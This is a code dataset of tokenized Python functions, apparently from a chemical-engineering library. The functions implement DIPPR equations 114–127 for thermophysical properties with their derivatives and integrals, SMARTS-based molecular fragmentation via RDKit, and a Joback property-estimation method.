{"signature": "def EQ114(T, Tc, A, B, C, D, order=<NUM_LIT:0>):", "body": "if order == <NUM_LIT:0>:<EOL><INDENT>t = <NUM_LIT:1.>-T/Tc<EOL>return (A**<NUM_LIT>/t + B - <NUM_LIT>*A*C*t - A*D*t**<NUM_LIT> - C**<NUM_LIT>*t**<NUM_LIT>/<NUM_LIT> <EOL>- C*D*t**<NUM_LIT>/<NUM_LIT> - D**<NUM_LIT:2>*t**<NUM_LIT>/<NUM_LIT>)<EOL><DEDENT>elif order == <NUM_LIT:1>:<EOL><INDENT>return (A**<NUM_LIT:2>/(Tc*(-T/Tc + <NUM_LIT:1>)**<NUM_LIT:2>) + <NUM_LIT:2>*A*C/Tc + <NUM_LIT:2>*A*D*(-T/Tc + <NUM_LIT:1>)/Tc <EOL>+ C**<NUM_LIT:2>*(-T/Tc + <NUM_LIT:1>)**<NUM_LIT:2>/Tc + <NUM_LIT:2>*C*D*(-T/Tc + <NUM_LIT:1>)**<NUM_LIT:3>/Tc <EOL>+ D**<NUM_LIT:2>*(-T/Tc + <NUM_LIT:1>)**<NUM_LIT:4>/Tc)<EOL><DEDENT>elif order == -<NUM_LIT:1>:<EOL><INDENT>return (-A**<NUM_LIT:2>*Tc*clog(T - Tc).real + D**<NUM_LIT:2>*T**<NUM_LIT:6>/(<NUM_LIT:30>*Tc**<NUM_LIT:5>) <EOL>- T**<NUM_LIT:5>*(C*D + <NUM_LIT:2>*D**<NUM_LIT:2>)/(<NUM_LIT:10>*Tc**<NUM_LIT:4>) <EOL>+ T**<NUM_LIT:4>*(C**<NUM_LIT:2> + <NUM_LIT:6>*C*D + <NUM_LIT:6>*D**<NUM_LIT:2>)/(<NUM_LIT:12>*Tc**<NUM_LIT:3>) - T**<NUM_LIT:3>*(A*D + C**<NUM_LIT:2> <EOL>+ <NUM_LIT:3>*C*D + <NUM_LIT:2>*D**<NUM_LIT:2>)/(<NUM_LIT:3>*Tc**<NUM_LIT:2>) + T**<NUM_LIT:2>*(<NUM_LIT:2>*A*C + <NUM_LIT:2>*A*D + C**<NUM_LIT:2> + <NUM_LIT:2>*C*D <EOL>+ D**<NUM_LIT:2>)/(<NUM_LIT:2>*Tc) + T*(-<NUM_LIT:2>*A*C - A*D + B - C**<NUM_LIT:2>/<NUM_LIT:3> - C*D/<NUM_LIT:2> - D**<NUM_LIT:2>/<NUM_LIT:5>))<EOL><DEDENT>elif order == -<NUM_LIT>:<EOL><INDENT>return (-A**<NUM_LIT:2>*clog(T + (-<NUM_LIT>*A**<NUM_LIT:2>*Tc + <NUM_LIT>*A*C*Tc + <NUM_LIT:30>*A*D*Tc - <NUM_LIT:30>*B*Tc <EOL>+ <NUM_LIT:10>*C**<NUM_LIT:2>*Tc + <NUM_LIT:15>*C*D*Tc + <NUM_LIT:6>*D**<NUM_LIT:2>*Tc)/(<NUM_LIT>*A**<NUM_LIT:2> - <NUM_LIT>*A*C <EOL>- <NUM_LIT:30>*A*D + <NUM_LIT:30>*B - <NUM_LIT:10>*C**<NUM_LIT:2> - <NUM_LIT:15>*C*D - <NUM_LIT:6>*D**<NUM_LIT:2>)).real <EOL>+ D**<NUM_LIT:2>*T**<NUM_LIT:5>/(<NUM_LIT>*Tc**<NUM_LIT:5>) - T**<NUM_LIT:4>*(C*D + <NUM_LIT:2>*D**<NUM_LIT:2>)/(<NUM_LIT:8>*Tc**<NUM_LIT:4>) <EOL>+ T**<NUM_LIT:3>*(C**<NUM_LIT:2> + <NUM_LIT:6>*C*D + <NUM_LIT:6>*D**<NUM_LIT:2>)/(<NUM_LIT:9>*Tc**<NUM_LIT:3>) - T**<NUM_LIT:2>*(A*D + C**<NUM_LIT:2><EOL>+ <NUM_LIT:3>*C*D + <NUM_LIT:2>*D**<NUM_LIT:2>)/(<NUM_LIT:2>*Tc**<NUM_LIT:2>) + T*(<NUM_LIT:2>*A*C + <NUM_LIT:2>*A*D + C**<NUM_LIT:2> + <NUM_LIT:2>*C*D<EOL>+ D**<NUM_LIT:2>)/Tc + (<NUM_LIT:30>*A**<NUM_LIT:2> - <NUM_LIT>*A*C - <NUM_LIT:30>*A*D + <NUM_LIT:30>*B - <NUM_LIT:10>*C**<NUM_LIT:2><EOL>- <NUM_LIT:15>*C*D - <NUM_LIT:6>*D**<NUM_LIT:2>)*clog(T + (-<NUM_LIT:30>*A**<NUM_LIT:2>*Tc + <NUM_LIT>*A*C*Tc <EOL>+ <NUM_LIT:30>*A*D*Tc - <NUM_LIT:30>*B*Tc + <NUM_LIT:10>*C**<NUM_LIT:2>*Tc + <NUM_LIT:15>*C*D*Tc + <NUM_LIT:6>*D**<NUM_LIT:2>*Tc <EOL>+ Tc*(<NUM_LIT:30>*A**<NUM_LIT:2> - <NUM_LIT>*A*C - <NUM_LIT:30>*A*D + <NUM_LIT:30>*B - <NUM_LIT:10>*C**<NUM_LIT:2> - <NUM_LIT:15>*C*D <EOL>- <NUM_LIT:6>*D**<NUM_LIT:2>))/(<NUM_LIT>*A**<NUM_LIT:2> - <NUM_LIT>*A*C - <NUM_LIT:30>*A*D + <NUM_LIT:30>*B - <NUM_LIT:10>*C**<NUM_LIT:2> <EOL>- <NUM_LIT:15>*C*D - <NUM_LIT:6>*D**<NUM_LIT:2>)).real/<NUM_LIT:30>)<EOL><DEDENT>else:<EOL><INDENT>raise Exception(order_not_found_msg)<EOL><DEDENT>", "docstring": "r'''DIPPR Equation #114. Rarely used, normally as an alternate liquid\n    heat capacity expression. All 4 parameters are required, as well as\n    critical temperature.\n\n    .. math::\n        Y = \\frac{A^2}{\\tau} + B - 2AC\\tau - AD\\tau^2 - \\frac{1}{3}C^2\\tau^3\n        - \\frac{1}{2}CD\\tau^4 - \\frac{1}{5}D^2\\tau^5\n\n        \\tau = 1 - \\frac{T}{Tc}\n\n    Parameters\n    ----------\n    T : float\n        Temperature, [K]\n    Tc : float\n        Critical temperature, [K]\n    A-D : float\n        Parameter for the equation; chemical and property specific [-]\n    order : int, optional\n        Order of the calculation. 0 for the calculation of the result itself;\n        for 1, the first derivative of the property is returned, for\n        -1, the indefinite integral of the property with respect to temperature\n        is returned; and for -1j, the indefinite integral of the property\n        divided by temperature with respect to temperature is returned. No \n        other integrals or derivatives are implemented, and an exception will \n        be raised if any other order is given.\n\n    Returns\n    -------\n    Y : float\n        Property [constant-specific; if order == 1, property/K; if order == -1,\n                  property*K; if order == -1j, unchanged from default]\n\n    Notes\n    -----\n    The derivative with respect to T, integral with respect to T, and integral\n    over T with respect to T are computed as follows. All expressions can be\n    obtained with SymPy readily.\n\n    .. math::\n        \\frac{d Y}{dT} = \\frac{A^{2}}{T_{c} \\left(- \\frac{T}{T_{c}} \n        + 1\\right)^{2}} + \\frac{2 A}{T_{c}} C + \\frac{2 A}{T_{c}} D \\left(\n        - \\frac{T}{T_{c}} + 1\\right) + \\frac{C^{2}}{T_{c}} \\left(\n        - \\frac{T}{T_{c}} + 1\\right)^{2} + \\frac{2 C}{T_{c}} D \\left(\n        - \\frac{T}{T_{c}} + 1\\right)^{3} + \\frac{D^{2}}{T_{c}} \\left(\n        - \\frac{T}{T_{c}} + 1\\right)^{4}\n\n    .. math::\n        \\int Y dT = - A^{2} T_{c} \\log{\\left (T - T_{c} \\right )} + \\frac{D^{2}\n        T^{6}}{30 T_{c}^{5}} - \\frac{T^{5}}{10 T_{c}^{4}} \\left(C D + 2 D^{2}\n        \\right) + \\frac{T^{4}}{12 T_{c}^{3}} \\left(C^{2} + 6 C D + 6 D^{2}\n        \\right) - \\frac{T^{3}}{3 T_{c}^{2}} \\left(A D + C^{2} + 3 C D \n        + 2 D^{2}\\right) + \\frac{T^{2}}{2 T_{c}} \\left(2 A C + 2 A D + C^{2} \n        + 2 C D + D^{2}\\right) + T \\left(- 2 A C - A D + B - \\frac{C^{2}}{3} \n        - \\frac{C D}{2} - \\frac{D^{2}}{5}\\right)\n\n    .. math::\n        \\int \\frac{Y}{T} dT = - A^{2} \\log{\\left (T + \\frac{- 60 A^{2} T_{c}\n        + 60 A C T_{c} + 30 A D T_{c} - 30 B T_{c} + 10 C^{2} T_{c}\n        + 15 C D T_{c} + 6 D^{2} T_{c}}{60 A^{2} - 60 A C - 30 A D + 30 B \n        - 10 C^{2} - 15 C D - 6 D^{2}} \\right )} + \\frac{D^{2} T^{5}}\n        {25 T_{c}^{5}} - \\frac{T^{4}}{8 T_{c}^{4}} \\left(C D + 2 D^{2}\n        \\right) + \\frac{T^{3}}{9 T_{c}^{3}} \\left(C^{2} + 6 C D + 6 D^{2}\n        \\right) - \\frac{T^{2}}{2 T_{c}^{2}} \\left(A D + C^{2} + 3 C D\n        + 2 D^{2}\\right) + \\frac{T}{T_{c}} \\left(2 A C + 2 A D + C^{2} \n        + 2 C D + D^{2}\\right) + \\frac{1}{30} \\left(30 A^{2} - 60 A C \n        - 30 A D + 30 B - 10 C^{2} - 15 C D - 6 D^{2}\\right) \\log{\\left \n        (T + \\frac{1}{60 A^{2} - 60 A C - 30 A D + 30 B - 10 C^{2} - 15 C D\n        - 6 D^{2}} \\left(- 30 A^{2} T_{c} + 60 A C T_{c} + 30 A D T_{c} \n        - 30 B T_{c} + 10 C^{2} T_{c} + 15 C D T_{c} + 6 D^{2} T_{c}\n        + T_{c} \\left(30 A^{2} - 60 A C - 30 A D + 30 B - 10 C^{2} - 15 C D\n        - 6 D^{2}\\right)\\right) \\right )}\n\n    Strictly speaking, the integral over T has an imaginary component, but\n    only the real component is relevant and the complex part discarded.\n\n    Examples\n    --------\n    Hydrogen liquid heat capacity; DIPPR coefficients normally in J/kmol/K.\n\n    >>> EQ114(20, 33.19, 66.653, 6765.9, -123.63, 478.27)\n    19423.948911676463\n\n    References\n    ----------\n    .. [1] Design Institute for Physical Properties, 1996. DIPPR Project 801\n       DIPPR/AIChE", "id": "f15808:m7"}
{"signature": "def EQ115(T, A, B, C=<NUM_LIT:0>, D=<NUM_LIT:0>, E=<NUM_LIT:0>):", "body": "return exp(A+B/T+C*log(T)+D*T**<NUM_LIT:2> + E/T**<NUM_LIT:2>)<EOL>", "docstring": "r'''DIPPR Equation #115. No major uses; has been used as an alternate\n    liquid viscosity expression, and as a model for vapor pressure.\n    Only parameters A and B are required.\n\n    .. math::\n        Y = \\exp\\left(A + \\frac{B}{T} + C\\log T + D T^2 + \\frac{E}{T^2}\\right)\n\n    Parameters\n    ----------\n    T : float\n        Temperature, [K]\n    A-E : float\n        Parameter for the equation; chemical and property specific [-]\n\n    Returns\n    -------\n    Y : float\n        Property [constant-specific]\n\n    Notes\n    -----\n    No coefficients found for this expression.\n    This function is not integrable for either dT or Y/T dT.\n\n    References\n    ----------\n    .. [1] Design Institute for Physical Properties, 1996. DIPPR Project 801\n       DIPPR/AIChE", "id": "f15808:m8"}
{"signature": "def EQ116(T, Tc, A, B, C, D, E, order=<NUM_LIT:0>):", "body": "if order == <NUM_LIT:0>:<EOL><INDENT>tau = <NUM_LIT:1>-T/Tc<EOL>return A + B*tau**<NUM_LIT> + C*tau**(<NUM_LIT:2>/<NUM_LIT>) + D*tau + E*tau**(<NUM_LIT:4>/<NUM_LIT>)<EOL><DEDENT>elif order == <NUM_LIT:1>:<EOL><INDENT>return (-<NUM_LIT:7>*B/(<NUM_LIT:20>*Tc*(-T/Tc + <NUM_LIT:1>)**(<NUM_LIT>/<NUM_LIT:20>)) <EOL>- <NUM_LIT:2>*C/(<NUM_LIT:3>*Tc*(-T/Tc + <NUM_LIT:1>)**(<NUM_LIT:1>/<NUM_LIT:3>)) <EOL>- D/Tc - <NUM_LIT:4>*E*(-T/Tc + <NUM_LIT:1>)**(<NUM_LIT:1>/<NUM_LIT:3>)/(<NUM_LIT:3>*Tc))<EOL><DEDENT>elif order == -<NUM_LIT:1>:<EOL><INDENT>return (A*T - <NUM_LIT:20>*B*Tc*(-T/Tc + <NUM_LIT:1>)**(<NUM_LIT>/<NUM_LIT:20>)/<NUM_LIT> <EOL>- <NUM_LIT:3>*C*Tc*(-T/Tc + <NUM_LIT:1>)**(<NUM_LIT:5>/<NUM_LIT:3>)/<NUM_LIT:5> + D*(-T**<NUM_LIT:2>/(<NUM_LIT:2>*Tc) + T)<EOL>- <NUM_LIT:3>*E*Tc*(-T/Tc + <NUM_LIT:1>)**(<NUM_LIT:7>/<NUM_LIT:3>)/<NUM_LIT:7>)<EOL><DEDENT>elif order == -<NUM_LIT>:<EOL><INDENT>x0 = log(T)<EOL>x1 = <NUM_LIT:0.5>*x0<EOL>x2 = <NUM_LIT:1>/Tc<EOL>x3 = T*x2<EOL>x4 = -x3 + <NUM_LIT:1><EOL>x5 = <NUM_LIT>*C<EOL>x6 = x4**<NUM_LIT><EOL>x7 = <NUM_LIT:2>*B<EOL>x8 = x4**<NUM_LIT><EOL>x9 = log(-x6 + <NUM_LIT:1>)<EOL>x10 = sqrt(<NUM_LIT:3>)<EOL>x11 = x10*atan(x10*(<NUM_LIT:2>*x6 + <NUM_LIT:1>)/<NUM_LIT:3>)<EOL>x12 = sqrt(<NUM_LIT:5>)<EOL>x13 = <NUM_LIT:0.5>*x12<EOL>x14 = x13 + <NUM_LIT:0.5><EOL>x15 = B*x14<EOL>x16 = sqrt(x13 + <NUM_LIT>)<EOL>x17 = <NUM_LIT:2>*x8<EOL>x18 = -x17<EOL>x19 = -x13<EOL>x20 = x19 + <NUM_LIT:0.5><EOL>x21 = B*x20<EOL>x22 = sqrt(x19 + <NUM_LIT>)<EOL>x23 = B*x16<EOL>x24 = <NUM_LIT:0.5>*sqrt(<NUM_LIT:0.1>*x12 + <NUM_LIT:0.5>)<EOL>x25 = x12 + <NUM_LIT:1><EOL>x26 = <NUM_LIT:4>*x8<EOL>x27 = -x26<EOL>x28 = sqrt(<NUM_LIT:10>)*B/sqrt(x12 + <NUM_LIT:5>)<EOL>x29 = <NUM_LIT:2>*x12<EOL>x30 = sqrt(x29 + <NUM_LIT:10>)<EOL>x31 = <NUM_LIT:1>/x30<EOL>x32 = -x12 + <NUM_LIT:1><EOL>x33 = <NUM_LIT:0.5>*B*x22<EOL>x34 = -x2*(T - Tc)<EOL>x35 = <NUM_LIT:2>*x34**<NUM_LIT:0.1><EOL>x36 = x35 + <NUM_LIT:2><EOL>x37 = x34**<NUM_LIT><EOL>x38 = x30*x37<EOL>x39 = <NUM_LIT:0.5>*B*x16<EOL>x40 = x37*sqrt(-x29 + <NUM_LIT:10>)<EOL>x41 = <NUM_LIT>*x12<EOL>x42 = B*(-x41 + <NUM_LIT>)<EOL>x43 = x12*x37<EOL>x44 = x35 + x37 + <NUM_LIT:2><EOL>x45 = B*(x41 + <NUM_LIT>)<EOL>x46 = -x43<EOL>x47 = x35 - x37 + <NUM_LIT:2><EOL>return A*x0 + <NUM_LIT>*B*x4**<NUM_LIT> - C*x1 + C*x11 + D*x0 - D*x3 - E*x1 - E*x11 + <NUM_LIT>*E*x4**<NUM_LIT> + <NUM_LIT:3>*E*x6 + <NUM_LIT>*E*x9 - x15*atan(x14*(x16 + x17)) + x15*atan(x14*(x16 + x18)) - x21*atan(x20*(x17 + x22)) + x21*atan(x20*(x18 + x22)) + x23*atan(x24*(x25 + x26)) - x23*atan(x24*(x25 + x27)) - x28*atan(x31*(x26 + x32)) + x28*atan(x31*(x27 + x32)) - x33*log(x36 - x38) + x33*log(x36 + x38) + x39*log(x36 - x40) - x39*log(x36 + x40) + x4**<NUM_LIT>*x5 - x42*log(x43 + x44) + x42*log(x46 + x47) + x45*log(x43 + x47) - x45*log(x44 + x46) + x5*x9 + x7*atan(x8) - x7*atanh(x8)<EOL><DEDENT>else:<EOL><INDENT>raise Exception(order_not_found_msg)<EOL><DEDENT>", "docstring": "r'''DIPPR Equation #116. Used to describe the molar density of water fairly\n    precisely; no other uses listed. All 5 parameters are needed, as well as\n    the critical temperature.\n\n    .. math::\n        Y = A + B\\tau^{0.35} + C\\tau^{2/3} + D\\tau + E\\tau^{4/3}\n\n        \\tau = 1 - \\frac{T}{T_c}\n\n    Parameters\n    ----------\n    T : float\n        Temperature, [K]\n    Tc : float\n        Critical temperature, [K]\n    A-E : float\n        Parameter for the equation; chemical and property specific [-]\n    order : int, optional\n        Order of the calculation. 0 for the calculation of the result itself;\n        for 1, the first derivative of the property is returned, for\n        -1, the indefinite integral of the property with respect to temperature\n        is returned; and for -1j, the indefinite integral of the property\n        divided by temperature with respect to temperature is returned. No \n        other integrals or derivatives are implemented, and an exception will \n        be raised if any other order is given.\n\n    Returns\n    -------\n    Y : float\n        Property [constant-specific; if order == 1, property/K; if order == -1,\n                  property*K; if order == -1j, unchanged from default]\n\n    Notes\n    -----\n    The derivative with respect to T and integral with respect to T are \n    computed as follows. The integral divided by T with respect to T has an\n    extremely complicated (but still elementary) integral which can be read \n    from the source. It was computed with Rubi; the other expressions can \n    readily be obtained with SymPy.\n\n    .. math::\n        \\frac{d Y}{dT} = - \\frac{7 B}{20 T_c \\left(- \\frac{T}{T_c} + 1\\right)^{\n        \\frac{13}{20}}} - \\frac{2 C}{3 T_c \\sqrt[3]{- \\frac{T}{T_c} + 1}} \n        - \\frac{D}{T_c} - \\frac{4 E}{3 T_c} \\sqrt[3]{- \\frac{T}{T_c} + 1}\n\n    .. math::\n        \\int Y dT = A T - \\frac{20 B}{27} T_c \\left(- \\frac{T}{T_c} + 1\\right)^{\n        \\frac{27}{20}} - \\frac{3 C}{5} T_c \\left(- \\frac{T}{T_c} + 1\\right)^{\n        \\frac{5}{3}} + D \\left(- \\frac{T^{2}}{2 T_c} + T\\right) - \\frac{3 E}{7} \n        T_c \\left(- \\frac{T}{T_c} + 1\\right)^{\\frac{7}{3}}\n\n    Examples\n    --------\n    Water liquid molar density; DIPPR coefficients normally in kmol/m^3.\n\n    >>> EQ116(300., 647.096, 17.863, 58.606, -95.396, 213.89, -141.26)\n    55.17615446406527\n\n    References\n    ----------\n    .. [1] Design Institute for Physical Properties, 1996. DIPPR Project 801\n       DIPPR/AIChE", "id": "f15808:m9"}
{"signature": "def EQ127(T, A, B, C, D, E, F, G, order=<NUM_LIT:0>):", "body": "if order == <NUM_LIT:0>:<EOL><INDENT>return (A+B*((C/T)**<NUM_LIT:2>*exp(C/T)/(exp(C/T) - <NUM_LIT:1>)**<NUM_LIT:2>) + <EOL>D*((E/T)**<NUM_LIT:2>*exp(E/T)/(exp(E/T)-<NUM_LIT:1>)**<NUM_LIT:2>) + <EOL>F*((G/T)**<NUM_LIT:2>*exp(G/T)/(exp(G/T)-<NUM_LIT:1>)**<NUM_LIT:2>))<EOL><DEDENT>elif order == <NUM_LIT:1>:<EOL><INDENT>return (-B*C**<NUM_LIT:3>*exp(C/T)/(T**<NUM_LIT:4>*(exp(C/T) - <NUM_LIT:1>)**<NUM_LIT:2>) <EOL>+ <NUM_LIT:2>*B*C**<NUM_LIT:3>*exp(<NUM_LIT:2>*C/T)/(T**<NUM_LIT:4>*(exp(C/T) - <NUM_LIT:1>)**<NUM_LIT:3>) <EOL>- <NUM_LIT:2>*B*C**<NUM_LIT:2>*exp(C/T)/(T**<NUM_LIT:3>*(exp(C/T) - <NUM_LIT:1>)**<NUM_LIT:2>) <EOL>- D*E**<NUM_LIT:3>*exp(E/T)/(T**<NUM_LIT:4>*(exp(E/T) - <NUM_LIT:1>)**<NUM_LIT:2>) <EOL>+ <NUM_LIT:2>*D*E**<NUM_LIT:3>*exp(<NUM_LIT:2>*E/T)/(T**<NUM_LIT:4>*(exp(E/T) - <NUM_LIT:1>)**<NUM_LIT:3>) <EOL>- <NUM_LIT:2>*D*E**<NUM_LIT:2>*exp(E/T)/(T**<NUM_LIT:3>*(exp(E/T) - <NUM_LIT:1>)**<NUM_LIT:2>) <EOL>- F*G**<NUM_LIT:3>*exp(G/T)/(T**<NUM_LIT:4>*(exp(G/T) - <NUM_LIT:1>)**<NUM_LIT:2>)<EOL>+ <NUM_LIT:2>*F*G**<NUM_LIT:3>*exp(<NUM_LIT:2>*G/T)/(T**<NUM_LIT:4>*(exp(G/T) - <NUM_LIT:1>)**<NUM_LIT:3>) <EOL>- <NUM_LIT:2>*F*G**<NUM_LIT:2>*exp(G/T)/(T**<NUM_LIT:3>*(exp(G/T) - <NUM_LIT:1>)**<NUM_LIT:2>))<EOL><DEDENT>elif order == -<NUM_LIT:1>:<EOL><INDENT>return (A*T + B*C**<NUM_LIT:2>/(C*exp(C/T) - C) + D*E**<NUM_LIT:2>/(E*exp(E/T) - E)<EOL>+ F*G**<NUM_LIT:2>/(G*exp(G/T) - G))<EOL><DEDENT>elif order == -<NUM_LIT>:<EOL><INDENT>return (A*log(T) + B*C**<NUM_LIT:2>*(<NUM_LIT:1>/(C*T*exp(C/T) - C*T) + <NUM_LIT:1>/(C*T)<EOL>- log(exp(C/T) - <NUM_LIT:1>)/C**<NUM_LIT:2>) + D*E**<NUM_LIT:2>*(<NUM_LIT:1>/(E*T*exp(E/T) - E*T) <EOL>+ <NUM_LIT:1>/(E*T) - log(exp(E/T) - <NUM_LIT:1>)/E**<NUM_LIT:2>)<EOL>+ F*G**<NUM_LIT:2>*(<NUM_LIT:1>/(G*T*exp(G/T) - G*T) + <NUM_LIT:1>/(G*T) - log(exp(G/T) <EOL>- <NUM_LIT:1>)/G**<NUM_LIT:2>))<EOL><DEDENT>else:<EOL><INDENT>raise Exception(order_not_found_msg)<EOL><DEDENT>", "docstring": "r'''DIPPR Equation #127. Rarely used, and then only in calculating\n    ideal-gas heat capacity. All 7 parameters are required.\n\n    .. math::\n        Y = A+B\\left[\\frac{\\left(\\frac{C}{T}\\right)^2\\exp\\left(\\frac{C}{T}\n        \\right)}{\\left(\\exp\\frac{C}{T}-1 \\right)^2}\\right]\n        +D\\left[\\frac{\\left(\\frac{E}{T}\\right)^2\\exp\\left(\\frac{E}{T}\\right)}\n        {\\left(\\exp\\frac{E}{T}-1 \\right)^2}\\right]\n        +F\\left[\\frac{\\left(\\frac{G}{T}\\right)^2\\exp\\left(\\frac{G}{T}\\right)}\n        {\\left(\\exp\\frac{G}{T}-1 \\right)^2}\\right]\n\n    Parameters\n    ----------\n    T : float\n        Temperature, [K]\n    A-G : float\n        Parameter for the equation; chemical and property specific [-]\n    order : int, optional\n        Order of the calculation. 0 for the calculation of the result itself;\n        for 1, the first derivative of the property is returned, for\n        -1, the indefinite integral of the property with respect to temperature\n        is returned; and for -1j, the indefinite integral of the property\n        divided by temperature with respect to temperature is returned. No \n        other integrals or derivatives are implemented, and an exception will \n        be raised if any other order is given.\n\n    Returns\n    -------\n    Y : float\n        Property [constant-specific; if order == 1, property/K; if order == -1,\n                  property*K; if order == -1j, unchanged from default]\n\n    Notes\n    -----\n    The derivative with respect to T, integral with respect to T, and integral\n    over T with respect to T are computed as follows. All expressions can be\n    obtained with SymPy readily.\n\n    .. math::\n        \\frac{d Y}{dT} = - \\frac{B C^{3} e^{\\frac{C}{T}}}{T^{4}\n        \\left(e^{\\frac{C}{T}} - 1\\right)^{2}} + \\frac{2 B C^{3} \n        e^{\\frac{2 C}{T}}}{T^{4} \\left(e^{\\frac{C}{T}} - 1\\right)^{3}} \n        - \\frac{2 B C^{2} e^{\\frac{C}{T}}}{T^{3} \\left(e^{\\frac{C}{T}} \n        - 1\\right)^{2}} - \\frac{D E^{3} e^{\\frac{E}{T}}}{T^{4} \n        \\left(e^{\\frac{E}{T}} - 1\\right)^{2}} + \\frac{2 D E^{3} \n        e^{\\frac{2 E}{T}}}{T^{4} \\left(e^{\\frac{E}{T}} - 1\\right)^{3}}\n        - \\frac{2 D E^{2} e^{\\frac{E}{T}}}{T^{3} \\left(e^{\\frac{E}{T}} \n        - 1\\right)^{2}} - \\frac{F G^{3} e^{\\frac{G}{T}}}{T^{4}\n        \\left(e^{\\frac{G}{T}} - 1\\right)^{2}} + \\frac{2 F G^{3}\n        e^{\\frac{2 G}{T}}}{T^{4} \\left(e^{\\frac{G}{T}} - 1\\right)^{3}}\n        - \\frac{2 F G^{2} e^{\\frac{G}{T}}}{T^{3} \\left(e^{\\frac{G}{T}} \n        - 1\\right)^{2}}\n\n    .. math::\n        \\int Y dT = A T + \\frac{B C^{2}}{C e^{\\frac{C}{T}} - C} \n        + \\frac{D E^{2}}{E e^{\\frac{E}{T}} - E} \n        + \\frac{F G^{2}}{G e^{\\frac{G}{T}} - G}\n\n    .. math::\n        \\int \\frac{Y}{T} dT = A \\log{\\left (T \\right )} + B C^{2} \\left(\n        \\frac{1}{C T e^{\\frac{C}{T}} - C T} + \\frac{1}{C T} - \\frac{1}{C^{2}} \n        \\log{\\left (e^{\\frac{C}{T}} - 1 \\right )}\\right) + D E^{2} \\left(\n        \\frac{1}{E T e^{\\frac{E}{T}} - E T} + \\frac{1}{E T} - \\frac{1}{E^{2}} \n        \\log{\\left (e^{\\frac{E}{T}} - 1 \\right )}\\right) + F G^{2} \\left(\n        \\frac{1}{G T e^{\\frac{G}{T}} - G T} + \\frac{1}{G T} - \\frac{1}{G^{2}} \n        \\log{\\left (e^{\\frac{G}{T}} - 1 \\right )}\\right)\n\n    Examples\n    --------\n    Ideal gas heat capacity of methanol; DIPPR coefficients normally in\n    J/kmol/K\n\n    >>> EQ127(20., 3.3258E4, 3.6199E4, 1.2057E3, 1.5373E7, 3.2122E3, -1.5318E7, 3.2122E3)\n    33258.0\n\n    References\n    ----------\n    .. [1] Design Institute for Physical Properties, 1996. DIPPR Project 801\n       DIPPR/AIChE", "id": "f15808:m10"}
{"signature": "def smarts_fragment(catalog, rdkitmol=None, smi=None):", "body": "if not hasRDKit: <EOL><INDENT>raise Exception(rdkit_missing)<EOL><DEDENT>if rdkitmol is None and smi is None:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>if smi is not None:<EOL><INDENT>rdkitmol = Chem.MolFromSmiles(smi)<EOL>if rdkitmol is None:<EOL><INDENT>status = '<STR_LIT>'<EOL>success = False<EOL>return {}, success, status<EOL><DEDENT><DEDENT>atom_count = len(rdkitmol.GetAtoms())    <EOL>status = '<STR_LIT:OK>'<EOL>success = True<EOL>counts = {}<EOL>all_matches = {}<EOL>for key, smart in catalog.items():<EOL><INDENT>patt = Chem.MolFromSmarts(smart)<EOL>hits = rdkitmol.GetSubstructMatches(patt)<EOL>if hits:<EOL><INDENT>all_matches[smart] = hits<EOL>counts[key] = len(hits)<EOL><DEDENT><DEDENT>matched_atoms = set()<EOL>for i in all_matches.values():<EOL><INDENT>for j in i:<EOL><INDENT>matched_atoms.update(j)<EOL><DEDENT><DEDENT>if len(matched_atoms) != atom_count:<EOL><INDENT>status = '<STR_LIT>'<EOL>success = False<EOL><DEDENT>if success:<EOL><INDENT>matched_atoms = []<EOL>for i in all_matches.values():<EOL><INDENT>for j in i:<EOL><INDENT>matched_atoms.extend(j)<EOL><DEDENT><DEDENT>if len(matched_atoms) < atom_count:<EOL><INDENT>status = '<STR_LIT>' %(len(matched_atoms), atom_count)<EOL>success = False<EOL><DEDENT>elif len(matched_atoms) > atom_count:<EOL><INDENT>status = '<STR_LIT>' %( [i for i, c in Counter(matched_atoms).items() if c > <NUM_LIT:1>])<EOL>success = False<EOL><DEDENT><DEDENT>return counts, success, status<EOL>", "docstring": "r'''Fragments a molecule into a set of unique groups and counts as\n    specified by the `catalog`. The molecule can either be an rdkit \n    molecule object, or a smiles string which will be parsed by rdkit.\n    Returns a dictionary of groups and their counts according to the\n    indexes of the catalog provided.\n\n    Parameters\n    ----------\n    catalog : dict\n        Dictionary indexed by keys pointing to smarts strings, [-] \n    rdkitmol : mol, optional\n        Molecule as rdkit object, [-]\n    smi : str, optional\n        Smiles string representing a chemical, [-]\n\n    Returns\n    -------\n    counts : dict\n        Dictionaty of integer counts of the found groups only, indexed by\n        the same keys used by the catalog [-]\n    success : bool\n        Whether or not molecule was fully and uniquely fragmented, [-]\n    status : str\n        A string holding an explanation of why the molecule failed to be\n        fragmented, if it fails; 'OK' if it suceeds.\n\n    Notes\n    -----\n    Raises an exception if rdkit is not installed, or `smi` or `rdkitmol` is\n    not defined.\n\n    Examples\n    --------\n    Acetone:\n\n    >>> smarts_fragment(catalog=J_BIGGS_JOBACK_SMARTS_id_dict, smi='CC(=O)C')\n    ({24: 1, 1: 2}, True, 'OK')\n\n    Sodium sulfate, (Na2O4S):\n\n    >>> smarts_fragment(catalog=J_BIGGS_JOBACK_SMARTS_id_dict, smi='[O-]S(=O)(=O)[O-].[Na+].[Na+]')\n    ({29: 4}, False, 'Did not match all atoms present')\n\n    Propionic anhydride (C6H10O3):\n\n    >>> smarts_fragment(catalog=J_BIGGS_JOBACK_SMARTS_id_dict, smi='CCC(=O)OC(=O)CC')\n    ({1: 2, 2: 2, 28: 2}, False, 'Matched some atoms repeatedly: [4]')", "id": "f15809:m0"}
{"signature": "def estimate(self):", "body": "<EOL>self.mul(<NUM_LIT>)<EOL>self.Cpig(<NUM_LIT>) <EOL>estimates = {'<STR_LIT>': self.Tb(self.counts),<EOL>'<STR_LIT>': self.Tm(self.counts),<EOL>'<STR_LIT>': self.Tc(self.counts, self.Tb_estimated),<EOL>'<STR_LIT>': self.Pc(self.counts, self.atom_count),<EOL>'<STR_LIT>': self.Vc(self.counts),<EOL>'<STR_LIT>': self.Hf(self.counts),<EOL>'<STR_LIT>': self.Gf(self.counts),<EOL>'<STR_LIT>': self.Hfus(self.counts),<EOL>'<STR_LIT>': self.Hvap(self.counts),<EOL>'<STR_LIT>': self.mul,<EOL>'<STR_LIT>': self.calculated_mul_coeffs,<EOL>'<STR_LIT>': self.Cpig,<EOL>'<STR_LIT>': self.calculated_Cpig_coeffs}<EOL>return estimates<EOL>", "docstring": "Method to compute all available properties with the Joback method;\n        returns their results as a dict. For the tempearture dependent values\n        Cpig and mul, both the coefficients and objects to perform calculations\n        are returned.", "id": "f15809:c0:m1"}
